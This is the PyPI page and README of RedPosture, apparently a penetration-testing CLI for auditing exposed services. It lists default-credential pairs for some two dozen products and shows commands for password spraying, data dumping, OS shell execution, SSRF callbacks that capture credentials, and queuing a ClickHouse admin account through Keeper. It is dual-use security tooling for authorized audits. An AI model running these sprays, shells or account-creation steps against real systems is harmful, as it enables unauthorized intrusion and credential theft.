Skip to main content

Ask DeepWiki License CI Latest version Modules Python 3.12+ Install with pipx

RedPosture

CLI for authorized audits of exposed services: identify the product, verify access, enumerate data, find secrets, and match versions against an offline CVE catalog. Python 3.12+; 26 audit modules, credential spray, and exporter scan/collect/trigger workflows.

Install

pipx install "git+https://github.com/MelForze/Redposture.git"
redposture --version

Usage

  • -t: host, URL, CIDR, IPv4 range, comma-separated list or target file; --port: port, list or range. -ot, --out-target accepts exclusions in the same formats: --out-target exclusions.txt removes matching hosts before ports are expanded.
  • -u/-p, module-specific token flags or --defcreds perform real login checks. -o results.txt writes TXT, -f json writes structured results, and --debug shows diagnostics. See redposture <module> -h for all flags.

TXT shows confirmed services only. Generic login/SSO pages, HTTP status codes and an isolated version field do not confirm a product or start auth, discovery or CVE checks. Unconfirmed results and pre-detection errors remain in debug/JSON. JSON includes detection_status (confirmed, probable, not_service, transport_failure), detection_signals and any older detection_detail_status. With no confirmed service, one No MODULE service detected line includes the unreachable count; if nonzero it uses [!] and exits nonzero. Post-detection errors stay visible. SSO appears as auth required:sso; verified/rejected credentials use [+]/[-]. Inconclusive pairs appear only in debug/JSON.

Main workers: 64 for fewer than 1000 expanded host:port tasks, otherwise 128 (-w overrides). Shared nested workers: 32/64, capped by -w; per-target discovery limits are MinIO/Elastic/Proxmox 8 and ClickHouse 4 (max_threads=1 per query). Audit targets stream continuously through a bounded queue. Multi-target scans show address and host:port counts by port before starting; this plan stays out of saved TXT/JSON. Exporters use separate schedulers.

Postgres and ClickHouse --os-shell show command exit status and separate stdout/stderr. Binary output gets a safe hex preview; use :hex [stdout|stderr] [bytes], :base64 [stdout|stderr] [bytes], or :save [stdout|stderr] <local-path> for captured bytes. :limit 16M changes the per-stream capture budget (default 8 MiB, maximum 50 MiB); :help lists local commands. :save never overwrites an existing file. A truncated capture is marked partial, and an interrupted command is never replayed automatically. Docker/KubeAPI exec include Base64 fields in JSON for binary output; Oracle Scheduler captures at most 8 KiB per stream when readback is available.

--discover covers Airflow, MinIO, Elastic/OpenSearch, ClickHouse and Proxmox. The default budget is 50 MiB per target. Only Elastic/OpenSearch has a default deadline (300 s); other modules have no default time or item cap. Use --discover-max-bytes/--discover-time to override. Findings stream live; incomplete scans are marked partial. ClickHouse supports --checkpoint/--resume.

HTTP checks may follow redirects across scheme, host and port with supplied credentials. The URL scheme selects the first attempt; a canonical HTTP 400 requiring HTTPS retries safe GET/HEAD discovery. Later checks reuse the resolved origin, while changing requests are not replayed to select a scheme. Target TLS accepts self-signed certificates by default; where supported, a CA file enables certificate and hostname verification. mTLS needs a client certificate and key. For a reverse proxy, supply its mounted URL (for example https://host/airflow/api/v1/version) and the DNS name required for Host/SNI; the module retains the URL prefix after removing a known API suffix. In HTTP audit modules, a URL without a port uses 80 for http or 443 for https; bare hosts still use the module's port list. An explicit URL port or --port overrides the scheme default. ClickHouse treats an HTTP(S) URL as an HTTP target unless --protocol was explicitly selected.

spray checks supplied pairs or tokens only after a module confirms the product. It does not run inventory, discovery, or CVE checks. A bare host uses the selected modules' normal ports; a URL or host:port keeps its explicit port. With multiple modules, TXT prints each target as one block after its attempts finish; JSON stays live. Rate limits can therefore delay a target's TXT block.

redposture spray -t targets.txt --modules airflow,grafana --pairs pairs.txt -o spray.txt
redposture spray -t targets.txt --modules keycloak,kubeapi --tokens tokens.txt --checkpoint spray.sqlite3 -o spray-tokens.txt
redposture spray -t targets.txt --modules all --users users.txt --passwords passwords.txt --origin-rate 2 --account-interval 60 -o spray-all.txt
redposture spray -t targets.txt --modules airflow -u admin -p @passwords.txt -o spray-admin.txt
redposture spray -t targets.txt --modules all --users users.txt --passwords passwords.txt --origin-rate 2 --account-interval 60 --checkpoint spray-all.txt.checkpoint.sqlite3 --resume -o spray-all.txt

Pairs use the first colon as separator. -u/--users and -p/--passwords each accept a literal or an existing file; prefix a filename with @ to require that it exists. Sources can be mixed, and each password is tried across all users before the next password. Results and the raw secrets appear in terminal, TXT, and JSON as requested; output and checkpoint files are mode 0600. A begun attempt interrupted before its result becomes inconclusive on resume and is not retried. --module-config accepts only auth/transport settings, such as {"keeper":{"znode":"/protected"}} or {"keycloak":{"realm":"master"}}; action flags are rejected. Docker Engine pairs and Keycloak pairs report unsupported because those modules cannot verify them. redposture spray -h lists all options.

Default credentials checked by --defcreds

Module Credential pairs checked
Grafana admin:admin, admin:changeme, admin:grafana, admin:password, grafana:grafana, grafana:password, root:password, root:root, user:password, user:user, admin:12345678
MinIO minioadmin:minioadmin, minio:minio123, minioadmin:minio123, minioadmin:password, admin:admin, admin:minioadmin, admin:password, root:minioadmin, root:password, minio:minio, access:secret, minioadmin:12345678
Proxmox admin@pam:admin, admin@pve:admin, admin@pve:password, root@pam:admin, root@pam:changeme, root@pam:password, root@pam:proxmox, root@pam:Proxmox123, root@pam:root, root@pam:toor, root@pam:12345678
Postgres admin:admin, admin:password, admin:postgres, dev:dev, pgbouncer:pgbouncer, pgbouncer_exporter:pgbouncer_exporter, pgsql:pgsql, postgres:admin, postgres:changeme, postgres:password, postgres:postgres, service:service, test:test, user:password, user:user, postgres:12345678
MongoDB admin:admin, admin:changeme, admin:mongo, admin:mongodb, admin:password, dev:dev, mongo:mongo, mongo:password, mongodb:mongodb, mongodb:password, root:admin, root:mongo, root:mongodb, root:password, root:root, test:test, user:password, user:user, admin:12345678
Oracle admin:admin, admin:changeme, admin:oracle, admin:password, dbsnmp:dbsnmp, dev:dev, hr:hr, outln:outln, pdbadmin:oracle, pdbadmin:pdbadmin, scott:scott, scott:tiger, sys:change_on_install, sys:oracle, sys:sys, system:manager, system:oracle, system:system, test:test, user:user, system:12345678
ClickHouse admin:admin, admin:changeme, admin:password, clickhouse:clickhouse, clickhouse:password, default:<empty>, default:changeme, default:clickhouse, default:default, default:password, root:password, root:root, user:password, user:user, default:12345678
Redis admin:admin, admin:changeme, admin:password, default:changeme, default:default, default:password, default:redis, dev:dev, redis:changeme, redis:password, redis:redis, root:password, root:root, service:service, test:test, user:password, user:user, default:12345678
etcd admin:admin, admin:changeme, admin:etcd, admin:password, etcd:etcd, etcd:password, root:admin, root:etcd, root:password, root:root, root:rootpass, service:service, user:password, user:user, root:12345678
Elastic/OpenSearch admin:admin, admin:changeme, admin:password, elastic:changeme, elastic:elastic, elastic:password, kibana:changeme, kibana:kibana, logstash:logstash, logstash_system:changeme, opensearch:opensearch, opensearch:password, admin:12345678, elastic:12345678
gRPC Basic: admin:admin, admin:changeme, admin:password, dev:dev, grpc:admin, grpc:grpc, grpc:password, guest:guest, root:admin, root:password, root:root, service:password, service:service, test:test, user:password, user:user, admin:12345678.
Bearer tokens: admin, changeme, default-token, grpc, secret, token.
Kafka admin:admin, admin:admin-secret, admin:changeme, admin:kafka, admin:password, broker:broker, broker:brokerpass, client:client, kafka:admin, kafka:changeme, kafka:kafka, kafka:password, kafka:zookeeper, service:password, service:service, user:password, user:user, admin:12345678
ZooKeeper admin:admin, admin:changeme, admin:kafka, admin:password, admin:zookeeper, broker:broker, broker:brokerpass, client:client, dev:dev, guest:guest, hadoop:hadoop, kafka:changeme, kafka:kafka, kafka:password, kafka:zookeeper, root:admin, root:password, root:root, root:rootpass, root:zookeeper, service:password, service:service, solr:solr, super:super, test:test, user:password, user:user, user1:12345, zk:password, zk:zk, zk:zookeeper, zookeeper:admin, zookeeper:password, zookeeper:zookeeper, admin:12345678
Keeper admin:admin, admin:changeme, admin:clickhouse, admin:keeper, admin:password, clickhouse:changeme, clickhouse:clickhouse, clickhouse:keeper, clickhouse:password, default:<empty>, default:changeme, default:clickhouse, default:default, default:password, keeper:changeme, keeper:clickhouse, keeper:keeper, keeper:password, root:clickhouse, root:keeper, root:password, root:root, service:password, service:service, user:password, user:user, default:12345678
Airflow airflow:airflow, admin:admin, admin:airflow, airflow:admin, airflow:password, airflow:changeme, airflow:airflow123, admin:password, admin:changeme, admin:airflow123, root:root, root:password, user:user, user:password, test:test, dev:dev, service:service, guest:guest, admin:12345678
Jenkins admin:admin, admin:changeme, admin:jenkins, admin:password, admin:admin123, admin:12345678, jenkins:jenkins, jenkins:password, jenkins:changeme, jenkins:admin, root:root, root:password, user:user, user:password, test:test, dev:dev, guest:guest, service:service
GitLab root:root, root:password, root:admin, root:changeme, root:gitlab, root:admin123, admin:admin, admin:password, admin:changeme, admin:gitlab, gitlab:gitlab, gitlab:password, gitlab:admin, user:user, user:password, test:test, guest:guest, dev:dev, root:12345678
Harbor admin:Harbor12345, admin:harbor, admin:harbor123, admin:Harbor123, harbor:harbor, harbor:password, then admin:admin, admin:password, admin:changeme, admin:admin123, admin:123456, root:root, root:password, root:admin, root:changeme, user:user, user:password, test:test, guest:guest, dev:dev, service:service, admin:12345678
Nexus admin:admin123, nexus:nexus, admin:nexus, admin:nexus123, admin:sonatype, nexus:password, nexus:admin, then admin:admin, admin:password, admin:changeme, admin:123456, root:root, root:password, root:admin, root:changeme, user:user, user:password, test:test, guest:guest, dev:dev, service:service, admin:12345678
Docker Registry registry:registry, registry:password, registry:admin, registry:changeme, registry:registry123, docker:docker, docker:password, then admin:admin, admin:password, admin:changeme, admin:admin123, admin:123456, root:root, root:password, root:admin, root:changeme, user:user, user:password, test:test, guest:guest, dev:dev, service:service, admin:12345678
KubeAPI admin:admin, admin:password, root:root, root:password, kubeadmin:kubeadmin, kubernetes:kubernetes, user:user, test:test, admin:12345678
RabbitMQ admin:admin, admin:changeme, admin:password, admin:rabbitmq, guest:guest, guest:password, rabbitmq:admin, rabbitmq:password, rabbitmq:rabbitmq, root:password, root:root, service:password, service:service, test:test, user:password, user:user, admin:12345678

These are weak-password candidates, not universal factory passwords: Harbor documents admin:Harbor12345, while GitLab and Nexus generate installation-specific passwords. Kubernetes has no universal Basic pair; KubeAPI tries candidates only when Basic is advertised. Neither public /v2/ nor HTTP 200 proves registry authentication. Inconclusive checks stay in debug/JSON; rate limiting or account lock stops the credential sweep. The eight-digit numeric candidate is a weak password, not a product default.

Module Examples

Each block has three independent commands. Replace hosts and credentials; targets.txt has one target per line. Keeper/ZooKeeper credential checks need an ACL-protected verifier znode (--znode /app). Explicit write/exec/SSRF actions are omitted.

Airflow

redposture airflow -t targets.txt --enum-cve
redposture airflow -t targets.txt --defcreds
redposture airflow -t https://airflow.example:8080 -u auditor -p 'password' --show-keys --show-connections --discover

Airflow reports anonymous Dags/Keys/Connections allowed separately from access after login; live output follows service → credentials → CVE → keys → connections → discovery.

ClickHouse

redposture clickhouse -t targets.txt --enum-cve
redposture clickhouse -t targets.txt --defcreds
redposture clickhouse -t db.example -u auditor -p 'password' --show-databases --show-tables --discover

Consul

redposture consul -t targets.txt --enum-cve
redposture consul -t http://consul.example:8500 --keys --services --agents
redposture consul -t http://consul.example:8500 --token "$CONSUL_TOKEN" --key app/config --dump

Docker

redposture docker -t targets.txt --enum-cve
redposture docker -t http://docker.example:2375 --containers --images --system
redposture docker -t https://docker.example:2376 --tls-ca ca.pem --tls-cert client.pem --tls-key client.key --containers

Elastic / OpenSearch

redposture elastic -t targets.txt --enum-cve
redposture elastic -t targets.txt --defcreds
redposture elastic -t https://search.example:9200 -u auditor -p 'password' --cluster --user --discover

etcd

redposture etcd -t targets.txt --enum-cve
redposture etcd -t targets.txt --defcreds
redposture etcd -t http://etcd.example:2379 -u root -p 'password' --show-keys 20 --dump 10

GitLab

redposture gitlab -t https://gitlab.example --enum-cve
redposture gitlab -t https://gitlab.example --defcreds
redposture gitlab -t https://gitlab.example --token "$GITLAB_TOKEN" --registry-token "$REGISTRY_TOKEN" --images

GitLab detects web/API and Container Registry separately: --token is for web/API, --registry-token for OCI; JSON nests OCI data in container_registry. Web login uses a fresh CSRF session per pair and stops at SSO, CAPTCHA or rate limiting. GitLab, Harbor, Nexus and Docker Registry show one product line followed by credentials and requested inventory. Output files contain four tab-separated fields without ANSI. version:unknown means no server version was disclosed; the OCI registry/2.0 header is a protocol version, not a server release.

Grafana

redposture grafana -t targets.txt --enum-cve
redposture grafana -t targets.txt --defcreds
redposture grafana -t https://grafana.example -u auditor -p 'password' --show-datasources --enum-cve

The public /api/health identifies Grafana and its version, but anonymous access is determined from a protected API resource.

Keycloak

redposture keycloak -t targets.txt --enum-cve
redposture keycloak -t https://id.example/auth --enum-realms
redposture keycloak -t https://id.example --token-file token.txt --show-realms --show-clients

Keycloak requires a product-specific realm response and matching OIDC discovery; generic SSO pages are at most probable in debug/JSON. The Admin API supplies an exact version only when accessible. --enum-cve never guesses from a UI theme or URL. The public master realm is checked by default; --realm is repeatable and --enum-realms checks up to 32 common names and reports only realms confirmed by the public Keycloak and OIDC endpoints. With an authorized token, --show-realms reports brute-force protection, registration, HTTPS requirement and password policy; --show-clients reports client type, Direct Access Grants, implicit flow, redirect URIs and web origins. Denied or absent settings remain unknown rather than False. Admin inventory uses GET requests and never prints client secrets.

Jenkins

redposture jenkins -t targets.txt --enum-cve
redposture jenkins -t targets.txt --defcreds
redposture jenkins -t https://ci.example/jenkins -u auditor --api-token-file token.txt --show-jobs --show-builds 3 --show-plugins --show-nodes --show-queue --show-artifacts 20

Detection combines Jenkins-specific API, identity, login-form, or version signals; generic login pages are not confirmed. --defcreds tries common weak pairs, not an installation password: Jenkins generates its initial admin password. A pair or API token is accepted only when the identity endpoint confirms authentication. Jobs, recent builds, plugins, agents, queue and artifact metadata are read-only; visibility depends on the account's permissions. --show-artifacts also lists recent builds and uses HEAD requests to obtain artifact sizes without downloading their contents. Each inventory flag accepts an optional count limit.

gRPC

redposture grpc -t targets.txt --analyze
redposture grpc -t grpc.example --token "$GRPC_TOKEN" --openapi
redposture grpc -t grpc.example --invoke /grpc.health.v1.Health/Check --data '{"service":""}'

Kafka

redposture kafka -t targets.txt --show-topics
redposture kafka -t targets.txt --defcreds
redposture kafka -t kafka.example -u auditor -p 'password' --topic events --dump 10
redposture kafka -t kafka.example -u producer -p 'password' --topic audit.events --write-message 'test event'
redposture kafka -t http://kafka-ui.example:8080 -u auditor -p 'password' --show-clusters --show-topics --show-brokers --show-consumer-groups

Kafka detects broker listeners and Kafbat/Provectus Kafka UI on explicit host:port targets automatically. Bare hosts also scan common UI ports. UI logins are verified through the UI identity API; broker SASL credentials are checked only against brokers. A UI login or generic HTTP response alone does not confirm the product. UI inventory is read-only; topic dumps and writes require a broker listener.

--probe-write works alone or with --topic NAME; it appends one audit marker to each probed topic. An inconclusive result is shown as write:unknown. --write-message sends one UTF-8 record; --write-file sends one binary record (up to 1 MiB). Both require --topic, and --write-key is optional. A lost broker acknowledgment is reported as unconfirmed and never retried, because the record may already be present.

Keeper

redposture keeper -t targets.txt
redposture keeper -t targets.txt --defcreds --znode /app
redposture keeper -t keeper.example -u auditor -p 'password' --show-znodes 20 --dump 10

Keeper reports (ddl access:Write/Read/Denied/Absent/Unknown) for anonymous access to /clickhouse/task_queue/ddl. By default it reads the path and creates/deletes an empty ephemeral child that is not a DDL task. Write proves a znode write, not SQL execution; Read leaves write access unproved; Absent can also mean a custom DDL path. The probe can trigger Keeper watches. --probe-write separately tests create/delete under /.

--show-cluster and --show-hosts read existing DDL tasks (formats 5–8). For --create-user NAME --create-userpass PASSWORD, Keeper uses worker IDs and a cluster from the newest valid task, queues a SHA-256-hashed CREATE USER, and reports success only after a worker confirms it. New tasks use minimal format 5 without inheriting settings or initiator identity. --grant-admin then queues a separate GRANT ALL ON *.* WITH GRANT OPTION after successful creation. These operations change ClickHouse accounts:

redposture keeper -t keeper.example:9181 --create-user audituser --create-userpass 'strong-password' --grant-admin

Interactive mode requires one target and a terminal: choose clusters/workers by number or a for all, then confirm creation and each grant with y. Blank, n, EOF or Ctrl-C declines; selecting only some workers warns and affects only them. The password is not printed. --yes skips menus/prompts and can affect multiple targets; with multiple clusters, specify --clickhouse-cluster. If no usable DDL task exists, set --clickhouse-host and --clickhouse-cluster (optional --clickhouse-port, default 9000). A queue over 512 tasks also requires explicit host/cluster. Keeper never guesses ClickHouse hosts from its own IP, replica names, sessions, discovery paths or peers. {cluster} expands only when configured in ClickHouse; Redposture does not substitute it in DDL tasks.

KubeAPI

redposture kubeapi -t targets.txt --enum-cve
redposture kubeapi -t https://cluster.example:6443 --defcreds
redposture kubeapi -t https://cluster.example:6443 --token "$KUBE_TOKEN" --secrets

MinIO

redposture minio -t targets.txt --enum-cve
redposture minio -t targets.txt --defcreds
redposture minio -t https://minio.example:9000 -u minioadmin -p 'password' --show-buckets --show-objects --discover

MongoDB

redposture mongodb -t targets.txt --enum-cve
redposture mongodb -t targets.txt --defcreds
redposture mongodb -t mongo.example -u auditor -p 'password' --show-databases --show-collections

Oracle

redposture oracle -t targets.txt --listener-dump
redposture oracle -t oracle.example --service ORCLPDB1 --defcreds
redposture oracle -t oracle.example --service ORCLPDB1 -u auditor -p 'password' --show-schemas --show-tables --privesc-check

Oracle reuses the confirmed listener/service for credential checks. Its automatic limit is 8 concurrent targets; explicit --workers overrides it. --defcreds still checks every candidate, except further passwords for an account reported locked.

PostgreSQL

redposture postgres -t targets.txt --enum-cve
redposture postgres -t targets.txt --defcreds --stop-on-success
redposture postgres -t db.example -u auditor -p 'password' --show-databases --show-tables --privesc-check

Proxmox

redposture proxmox -t targets.txt --enum-cve
redposture proxmox -t targets.txt --defcreds
redposture proxmox -t https://pve.example:8006 -u auditor@pve -p 'password' --nodes --discover

Without supplied credentials, a protected API does not produce token or password failure lines.

Qdrant

redposture qdrant -t targets.txt --enum-cve
redposture qdrant -t http://qdrant.example:6333 --collections
redposture qdrant -t http://qdrant.example:6333 --api-key "$QDRANT_API_KEY" --collection documents --dump 10

RabbitMQ

redposture rabbitmq -t targets.txt --enum-cve
redposture rabbitmq -t targets.txt --defcreds
redposture rabbitmq -t http://rabbitmq.example:15672 -u auditor -p 'password' --enum

Redis / Valkey

redposture redis -t targets.txt --enum-cve
redposture redis -t targets.txt --defcreds
redposture redis -t redis.example -u auditor -p 'password' --show-keys 20 --dump 10

Harbor

redposture harbor -t https://harbor.example --enum-cve
redposture harbor -t https://harbor.example --defcreds
redposture harbor -t https://harbor.example -u auditor -p 'password' --images

Nexus

redposture nexus -t https://nexus.example --enum-cve
redposture nexus -t https://nexus.example --defcreds
redposture nexus -t https://nexus.example -u auditor -p 'password' --assets

Docker Registry

redposture docker-registry -t https://registry.example --enum-cve
redposture docker-registry -t https://registry.example --defcreds
redposture docker-registry -t https://registry.example -u auditor -p 'password' --images

docker-registry accepts only a plain OCI Registry fingerprint. Harbor, Nexus and GitLab require their product commands. Image, tag, metadata and download options are available on each product command; inaccessible inventory sections are omitted. On a protected /v2/, Basic pairs are checked even if the auth challenge is absent; only definitive results are printed.

ZooKeeper

redposture zookeeper -t targets.txt --enum-cve
redposture zookeeper -t targets.txt --defcreds --znode /app
redposture zookeeper -t zk.example -u auditor -p 'password' --show-znodes 20 --dump 10

Exporters

redposture exporters scan -t targets.txt
redposture exporters collect -t targets.txt --deep
redposture exporters trigger -t targets.txt --callback-dns callback.example

Trigger supports Redis, Postgres, Blackbox, Proxmox, MySQL, JSON, Elasticsearch, SNMP and IPMI exporters. All nine callback listeners start by default; -e selects exporter types and matching listeners, while -s selects listeners explicitly. For exporter scan, collect and trigger, http://host checks port 80 and https://host checks port 443. --ports overrides these defaults; an explicit port in the URL takes priority over --ports. Exporter HTTPS accepts self-signed certificates unless --tls-ca file is supplied. --no-postgres-tls disables Postgres callback TLS; --no-with-listen skips listeners. SNMP/IPMI use UDP. A trigger is confirmed only when its listener observes a callback. Percona MongoDB exporter is excluded: its /scrape?target= selects only preconfigured --mongodb.uri hosts.

Trigger tries a default probe and a paced, bounded list of named profiles (auth_module, module, or SNMP auth) serially, continuing after callbacks because another profile may carry credentials. Repeated exporter errors stop the sweep. Use --profiles-file or exporter-specific flags such as --mysql-auth-module, --elastic-auth-module and --snmp-auth for custom profiles; Redis has no named profile. CRED! requires credential material actually received, not just SSRF. HTTP callbacks may carry Basic/Bearer/API keys; MySQL mysql_native_password yields a challenge-bound username, auth_salt and auth_response challenge response, never the plaintext password. SNMPv1/v2c yields a community; SNMPv3/IPMI confirm SSRF without claiming a password. -check can verify captured Redis/Postgres credentials.

Offline CVE enumeration

--enum-cve compares confirmed products and exact versions with a bundled offline catalog; it makes no external requests or exploit attempts. Findings mean potentially affected, not proof of exploitability: backports and deployment settings matter. The catalog mainly covers High/Critical network CVEs with reliable version ranges for code execution, auth bypass, takeover, data/file access or SSRF, excluding pure DoS. PR:L normally needs anonymous access or verified explicit credentials; invalid credentials and --defcreds alone do not qualify. Selected Nexus script/licensing entries need elevated permissions, and Grafana Image Renderer needs a detected plugin and reachable renderer; other title prerequisites such as Enterprise SCIM or a write-enabled MinIO key are not proven by version matching. The Keycloak JWT grant entry additionally requires valid client credentials; a verified bearer token alone does not prove that prerequisite.

Credential checks precede newest-first CVE findings. With an unknown or malformed version, a confirmed product shows catalogued CVEs from the last four years as yellow speculative findings: Possibly CVE-… may affect this service. This does not establish that its installed version is vulnerable. When a catalog entry has a publication date, the rolling four-year cutoff uses it. Otherwise the CVE ID year is used only when the entire year is inside that window; undated entries from the boundary year are omitted. PR:L still requires confirmed anonymous access or verified explicit credentials; entries requiring elevated permissions are omitted from unknown-version findings. A known vulnerable version continues to use the red [!] marker and potentially affected wording. CVE's Enumeration appears only when there are findings; otherwise status and reason remain in debug/JSON.

GRAFANA         10.0.0.1        3000  [*] Grafana Service (auth required:False) (version:8.2.6)
GRAFANA         10.0.0.1        3000  [*] CVE's Enumeration
GRAFANA         10.0.0.1        3000  [!] CVE-2021-43798 potentially affected (HIGH 7.5) Unauthenticated path traversal and arbitrary file read

The bundled 2026-10-06 catalog contains 200 reviewed product/CVE records:

Product CVEs Product CVEs
GitLab 72 Redis 23
PostgreSQL 23 Airflow 11
Grafana 11 Elasticsearch 6
MongoDB 7 MinIO 5
Nexus Repository 10 Qdrant 5
RabbitMQ 4 ClickHouse 3
Valkey 3 ZooKeeper 2
Harbor 2 Oracle Database 2
OpenSearch 1 Proxmox VE 1
Grafana Enterprise SCIM 1 Grafana Image Renderer 1
Consul 1 Docker Engine 1
etcd 1 Kubernetes 1
Keycloak 3
Total 200

Elasticsearch/OpenSearch, Redis/Valkey, ZooKeeper/Keeper and Registry vendors are matched separately. Plain Docker Registry and gRPC are unsupported; Kafka lacks an exact broker version, and Keeper has no catalog matches. Version access may require auth; Oracle needs the Database version, not the listener version. -f json includes ranges, fixes, CVSS and references in cve_enumeration.

Development and checks

git clone https://github.com/MelForze/Redposture.git
cd Redposture
python -m venv .venv
source .venv/bin/activate
pip install -e '.[dev]'
pytest
./scripts/check_ci_matrix.sh --worktree

CI locks are in requirements/ (scripts/update_ci_locks.sh). Full QA and selected sections use the same local runner:

./scripts/run_full_local_qa.sh --list
./scripts/run_full_local_qa.sh /tmp/redposture_qa_fuzz --section cli-fuzz,hypothesis
./scripts/run_full_local_qa.sh /tmp/redposture_qa_full

Each section writes its own log and summary; Docker is required only for Docker sections. ./scripts/run_qa_handoff.sh versions runs the separate version matrix. ./scripts/run_http_detection_qa.sh writes a focused report under .redposture/qa/. lab/, lab_tests/, qa_tests/ and .redposture/ are excluded from Git.

License

MIT.

Metadata

Release files for redposture 5.25

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for redposture 5.25
File Size Uploaded
redposture-5.25.tar.gz 891.7 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for redposture 5.25
File Interpreter ABI Platform
redposture-5.25-py3-none-any.whl Python 3 none any Details

Total release size: 1.9 MB

Release files / redposture-5.25.tar.gz

Download URL redposture-5.25.tar.gz
Size 891.7 kB
Tags Source
SHA-256 checksum
How to use checksums
99eaaab2ba1ebfe9e59ba18b114345f576ff26f71e1745aad020de3ad9b17c09
BLAKE2b-256 checksum
How to use checksums
a2215f8c3fe4b4624b964c0d12a035557b6ba76a44846846149ae8087a056041
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 11, 2026.

Transparency log

Release files / redposture-5.25-py3-none-any.whl

Download URL redposture-5.25-py3-none-any.whl
Size 1.0 MB
Tags Python 3
SHA-256 checksum
How to use checksums
3b2f1d4449a1058234ff38cf9e1f9e6da803a3a7514e6665224422c1f6e290c0
BLAKE2b-256 checksum
How to use checksums
bbee9b813ee2c08c2094c4727dd9333b44e5c1cfd4b2f7c562219a1b5f9c848e
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 11, 2026.

Transparency log

Release history Release notifications | RSS feed

This release

5.25 This release

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page